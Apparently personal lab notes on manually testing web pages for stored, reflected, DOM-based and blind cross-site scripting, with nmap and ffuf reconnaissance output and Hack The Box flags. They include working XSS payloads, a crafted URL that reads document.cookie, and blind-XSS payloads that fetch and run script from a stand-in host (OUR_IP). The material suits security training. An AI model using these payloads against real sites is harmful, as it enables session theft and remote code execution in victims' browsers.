XSS TESTING (MANUAL)

TESTING PAGES FOR STORED XSS


To see whether the payload is persistent and stored on the back-end, refresh the page and see whether the alert get's displayed again. If so, this will confirm whether it is a Stored/Persistent XSS vulnerability. Also, any user who visits the page will trigger the XSS payload and get the same alert.


root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>alert(window.origin)</script>
 * if sanitization or filtering isn't applied to the input, the page might be 
   vulnerable to XSS.
    - an alert should pop up with the URL of the page it is being executed on, 
      directly after the input payload or when the page is refreshed
    - the alert box would reveal the URL it is being executed on, and will confirm
      which form is the vulnerable, in case an IFrame was being used
       - Many modern web applications utilize cross-domain IFrames to handle user 
         input, so that even if the web form is vulnerable to XSS, it would not be a
         vulnerability on the main web application
       - e.g., 139.59.166.56:31323
    - modern browsers may block the alert() JavaScript function in specific locations.
      if this is the case, utilize other testing methods
       - <plaintext>
          - this will stop rendering the HTML code that comes after it and display 
            it as plaintext   
       - <script>print()</script>
          - this will pop up the browser print dialog, which is unlikely to be blocked by any browsers
root@oco:~$ BROWSER > {targetSite:port} > CTRL + U
 * <div></div><ul class="list-unstyled" id="todo"><ul><script>alert(window.origin)</script>
 
root@oco:~$ BROWSER > {targetSite:port}
 input field: <plaintext>
 * this is an old, deprecated HTML element that browsers historically interpreted 
   to render everything following it as plain text
   
root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>print()</script>

TESTING PAGES FOR REFLECTED XSS

Reflected XSS is a vulnerability where an attacker injects malicious code into a web request, which the server reflects in its response, causing the victim’s browser to execute it. Unlike Stored XSS, the payload isn’t saved on the server but is delivered through URLs, form inputs, or request parameters.

METHOD 1:

root@oco:~$ sudo nmap -sC -sV -T4 10.129.202.133 -p-
 PORT     STATE SERVICE VERSION
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3001/tcp open  http    PHP cli server 5.5 or later
 |_http-title: Login
 3002/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3003/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.3)

root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000-3003
 PORT     STATE SERVICE
 3000/tcp open  ppp
 3001/tcp open  nessus
 3002/tcp open  exlm-agent
 3003/tcp open  cgms

root@oco:~$ find / -iname directory-list*
 /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
 
root@oco:~$ cp /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt .
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://{targetSite.tld}:{port}/FUZZ -t 100 -ic
 api                     [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 14ms]
 API                     [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 9ms]

 * -w specifies the wordlist
 * -u specifies the url
 * -t increases the number of threads
 * -ic removes commented lines from the file
    - ignore wordlist comments (default: false)
    
root@oco:~$ curl http://10.129.202.133:3000/api
 {"status":"UP"}
 
 * try this on Kibana
 
#perform API endpoint fuzzing common-api-endpoints-mazen160.txt list
root@oco:~$ find / -iname common-api* 2>/dev/null
 /usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt

root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt .
root@oco:~$ ffuf -w common-api-endpoints-mazen160.txt -u 'http://{targetSite:port}/api/FUZZ' -t 100 -ic
 download                [Status: 200, Size: 71, Words: 5, Lines: 1, Duration: 27ms]

root@oco:~$ curl http://10.129.202.133:3000/api/download
 {"success":false,"error":"Input the filename via /download/<filename>"}

root@oco:~$ curl http://10.129.202.133:3000/api/download/testValue
 {"success":false,"error":"File not found!"}

root@oco:~$ BROWSER > http://10.129.202.133:3000/api/download/<script>alert(document.domain)</script>
 Cannot GET /api/download/%3Cscript%3Ealert(document.domain)%3C/script%3E
 
 * the site url encoded some of the characters
 * cURL does not support JavaScript execution; hence, the payload must be executed
   in the browser

root@oco:~$ cyberchef.io
 input: <script>alert(document.domain)</script>
 recipe: URL Encode
  - Encode url special chars: enabled
     - %3Cscript%3Ealert%28document%2Edomain%29%3C%2Fscript%3E

 * the "document.domain" retrieves the domain name of the current webpage.
 
root@oco:~$ BROWSER > http://10.129.202.133:3000/api/download/%3Cscript%3Ealert%28document%2Edomain%29%3C%2Fscript%3E

 * double encoding the payload is a technique often used in bypassing security filters 
   that only check for single-encoded payloads. however, it only works if the 
   application decodes user input twice before rendering it in the response.
    - also, if the application only decodes once or properly sanitizes the input then
      it will NOT work!

METHOD 2:

root@oco:~$ BROWSER > {targetSite:port} > F12 > Network
 input field: <script>alert(window.origin)</script>
 * identify the parameter used to send the input to the back-end server
    - task=

#construct the full URL to send to the victim
root@oco:~$ 
 * http://94.237.63.130:31933/index.php?task=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E
 * http://94.237.63.130:31933/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
    - HTB{r3fl3c73d_b4ck_2_m3} 

TESTING PAGES FOR DOM-BASED XSS

root@oco:~$ BROWSER > {targetSite:port} > F12 > Network
 input field: <script>alert(window.origin)</script>
 * if this test doesn't work, view the JavaScript code to determine
   whether the input parameter is uses the hashtag symbol #.
   if it doesn, then its a good indication that the page is using a client-side parameter
   that is completely processed on the browser. This indicates that the input is 
   being processed at the client-side through JavaScript and never reaches the back-end
    - if ($("#task").val().length > 0)...
 * also, review the JavaScript code to determine wheather commonly used JavaScript/jQuery 
   functions to write to DOM objects are used
    - document.write(), DOM.innerHTML, DOM.outerHTML, add(), after(), append()
       - ...innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);...
       
 root@oco:~$ BROWSER > {targetSite:port}
  input field: <img src="" onerror=alert(window.origin)>
  * this creates a new HTML image object, which has a "onerror" attribute that can 
    execute JavaScript code when the image is not found. it will then execute the
    alert function along with the instruction "window.origin"
  * HTB{pur3ly_cl13n7_51d3}

BLIND XSS DISCOVERY

A Blind XSS vulnerability occurs when the vulnerability is triggered on a page such as an admin panel that we don't have access to. it usually occurs with forms only accessible by certain users (e.g., Admins). examples include, Contact Forms, Reviews, User Details, Support Tickets, HTTP User-Agent header. to detect an XSS vulnerability where we can't see how the output is handled, we need use a JavaScript payload that sends an HTTP request back to our server. If the JavaScript code gets executed, the attacker's server will get a response thus we'll know that the page is indeed vulnerable.

#XSS payloads used for blind discovery
root@oco:~$ BROWSER > {targetSite:port}
 input field: <script src=http://OUR_IP></script>
root@oco:~$ BROWSER > {targetSite:port}
 input field: '><script src=http://OUR_IP></script>
root@oco:~$ BROWSER > {targetSite:port}
 input field: "><script src=http://OUR_IP></script>
root@oco:~$ BROWSER > {targetSite:port}
 input field: javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>$.getScript("http://OUR_IP")</script>

 * the script name should reflect the name of the field you are injecting in to easily 
   identify the vulnerable input field that executed the script

Last updated